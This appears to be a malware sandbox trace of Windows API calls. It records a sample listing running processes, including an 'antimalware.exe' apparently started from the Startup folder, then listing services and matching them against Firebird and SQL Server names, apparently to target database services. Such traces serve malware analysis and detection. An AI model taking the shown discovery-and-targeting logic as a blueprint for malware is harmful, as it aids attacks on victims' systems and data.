	[0045.544] lstrlenW (lpString="svchost.exe") returned 11
	[0045.544] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0045.545] lstrlenW (lpString="spoolsv.exe") returned 11
	[0045.545] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0045.545] lstrlenW (lpString="svchost.exe") returned 11
	[0045.545] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0045.546] lstrlenW (lpString="svchost.exe") returned 11
	[0045.546] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0045.547] lstrlenW (lpString="audiodg.exe") returned 11
	[0045.547] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0045.547] lstrlenW (lpString="sihost.exe") returned 10
	[0045.547] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0045.548] lstrlenW (lpString="svchost.exe") returned 11
	[0045.548] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0045.549] lstrlenW (lpString="taskhostw.exe") returned 13
	[0045.549] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0045.549] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0045.549] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0045.550] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0045.550] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0045.551] lstrlenW (lpString="explorer.exe") returned 12
	[0045.551] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0045.551] lstrlenW (lpString="Memory Compression") returned 18
	[0045.552] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0045.552] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0045.552] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0045.553] lstrlenW (lpString="SearchUI.exe") returned 12
	[0045.553] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0045.554] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0045.554] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0045.554] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0045.554] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0045.555] lstrlenW (lpString="taskhostw.exe") returned 13
	[0045.555] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0045.556] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0045.556] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0045.556] lstrlenW (lpString="UsoClient.exe") returned 13
	[0045.556] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0045.557] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0045.557] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0045.558] lstrlenW (lpString="taskhostw.exe") returned 13
	[0045.558] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0045.559] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0045.559] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0045.559] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0045.559] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0045.560] lstrlenW (lpString="msoia.exe") returned 9
	[0045.560] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0045.561] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0045.561] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0045.561] lstrlenW (lpString="msoia.exe") returned 9
	[0045.561] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="roof.exe")) returned 1
	[0045.562] lstrlenW (lpString="roof.exe") returned 8
	[0045.562] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="minority-weird-increases.exe")) returned 1
	[0045.563] lstrlenW (lpString="minority-weird-increases.exe") returned 28
	[0045.563] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="halloween_french_yugoslavia.exe")) returned 1
	[0045.563] lstrlenW (lpString="halloween_french_yugoslavia.exe") returned 31
	[0045.564] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1
	[0045.564] lstrlenW (lpString="cause.exe") returned 9
	[0045.564] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="occasionstax.exe")) returned 1
	[0045.565] lstrlenW (lpString="occasionstax.exe") returned 16
	[0045.565] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="distributors.exe")) returned 1
	[0045.566] lstrlenW (lpString="distributors.exe") returned 16
	[0045.566] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="month utilities transmit.exe")) returned 1
	[0045.566] lstrlenW (lpString="month utilities transmit.exe") returned 28
	[0045.566] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rand.exe")) returned 1
	[0045.567] lstrlenW (lpString="rand.exe") returned 8
	[0045.567] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikely.exe")) returned 1
	[0045.568] lstrlenW (lpString="unlikely.exe") returned 12
	[0045.568] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forever_adipex_transcript.exe")) returned 1
	[0045.569] lstrlenW (lpString="forever_adipex_transcript.exe") returned 29
	[0045.569] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion.exe")) returned 1
	[0045.570] lstrlenW (lpString="promotion.exe") returned 13
	[0045.570] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upset-vt-promoting.exe")) returned 1
	[0045.570] lstrlenW (lpString="upset-vt-promoting.exe") returned 22
	[0045.571] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charlie_sperm_new.exe")) returned 1
	[0045.571] lstrlenW (lpString="charlie_sperm_new.exe") returned 21
	[0045.571] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cagesymbol.exe")) returned 1
	[0045.572] lstrlenW (lpString="cagesymbol.exe") returned 14
	[0045.572] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bad-length.exe")) returned 1
	[0045.573] lstrlenW (lpString="bad-length.exe") returned 14
	[0045.573] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unit.exe")) returned 1
	[0045.575] lstrlenW (lpString="unit.exe") returned 8
	[0045.575] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="parents.exe")) returned 1
	[0045.576] lstrlenW (lpString="parents.exe") returned 11
	[0045.576] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charge.exe")) returned 1
	[0045.577] lstrlenW (lpString="charge.exe") returned 10
	[0045.577] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measures-provision.exe")) returned 1
	[0045.577] lstrlenW (lpString="measures-provision.exe") returned 22
	[0045.577] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0045.578] lstrlenW (lpString="dllhost.exe") returned 11
	[0045.578] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0045.579] lstrlenW (lpString="conhost.exe") returned 11
	[0045.579] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfd8, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0045.580] lstrlenW (lpString="conhost.exe") returned 11
	[0045.580] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0045.581] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0045.581] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0045.581] lstrlenW (lpString="cmd.exe") returned 7
	[0045.581] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xe0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0045.582] lstrlenW (lpString="conhost.exe") returned 11
	[0045.582] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0045.583] lstrlenW (lpString="svchost.exe") returned 11
	[0045.583] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x12c, pcPriClassBase=8, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1
	[0045.584] lstrlenW (lpString="CompatTelRunner.exe") returned 19
	[0045.584] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0045.584] lstrlenW (lpString="conhost.exe") returned 11
	[0045.584] Process32NextW (in: hSnapshot=0x2e0, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xf74, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0045.585] CloseHandle (hObject=0x2e0) returned 1
	[0045.585] Sleep (dwMilliseconds=0x1f4) 
	[0046.157] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x68fbe8
	[0046.158] EnumServicesStatusExW (in: hSCManager=0x68fbe8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 0
	[0046.158] GetLastError () returned 0xea
	[0046.158] RtlAllocateHeap (HeapHandle=0x650000, Flags=0x0, Size=0x1c76) returned 0x6db700
	[0046.158] EnumServicesStatusExW (in: hSCManager=0x68fbe8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x6db700, cbBufSize=0x1c76, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x6db700, pcbBytesNeeded=0x252ff3c, lpServicesReturned=0x252ff54, lpResumeHandle=0x0) returned 1
	[0046.159] CloseServiceHandle (hSCObject=0x68fbe8) returned 1
	[0046.159] lstrlenW (lpString="Appinfo") returned 7
	[0046.159] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0046.159] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0046.159] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0046.159] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0046.159] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0046.159] lstrlenW (lpString="AppXSvc") returned 7
	[0046.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0046.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0046.160] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0046.160] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0046.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0046.160] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0046.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0046.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0046.160] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0046.160] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0046.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0046.160] lstrlenW (lpString="Audiosrv") returned 8
	[0046.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0046.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0046.160] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0046.160] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0046.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0046.160] lstrlenW (lpString="BFE") returned 3
	[0046.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0046.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0046.160] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0046.160] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0046.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0046.160] lstrlenW (lpString="BITS") returned 4
	[0046.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1
	[0046.160] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1
	[0046.160] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1
	[0046.160] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1
	[0046.160] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1
	[0046.160] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0046.160] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0046.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0046.161] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0046.161] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0046.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0046.161] lstrlenW (lpString="CDPSvc") returned 6
	[0046.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0046.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0046.161] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0046.161] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0046.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0046.161] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0046.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0046.161] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0046.161] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0046.161] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0046.161] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0046.161] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0046.161] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
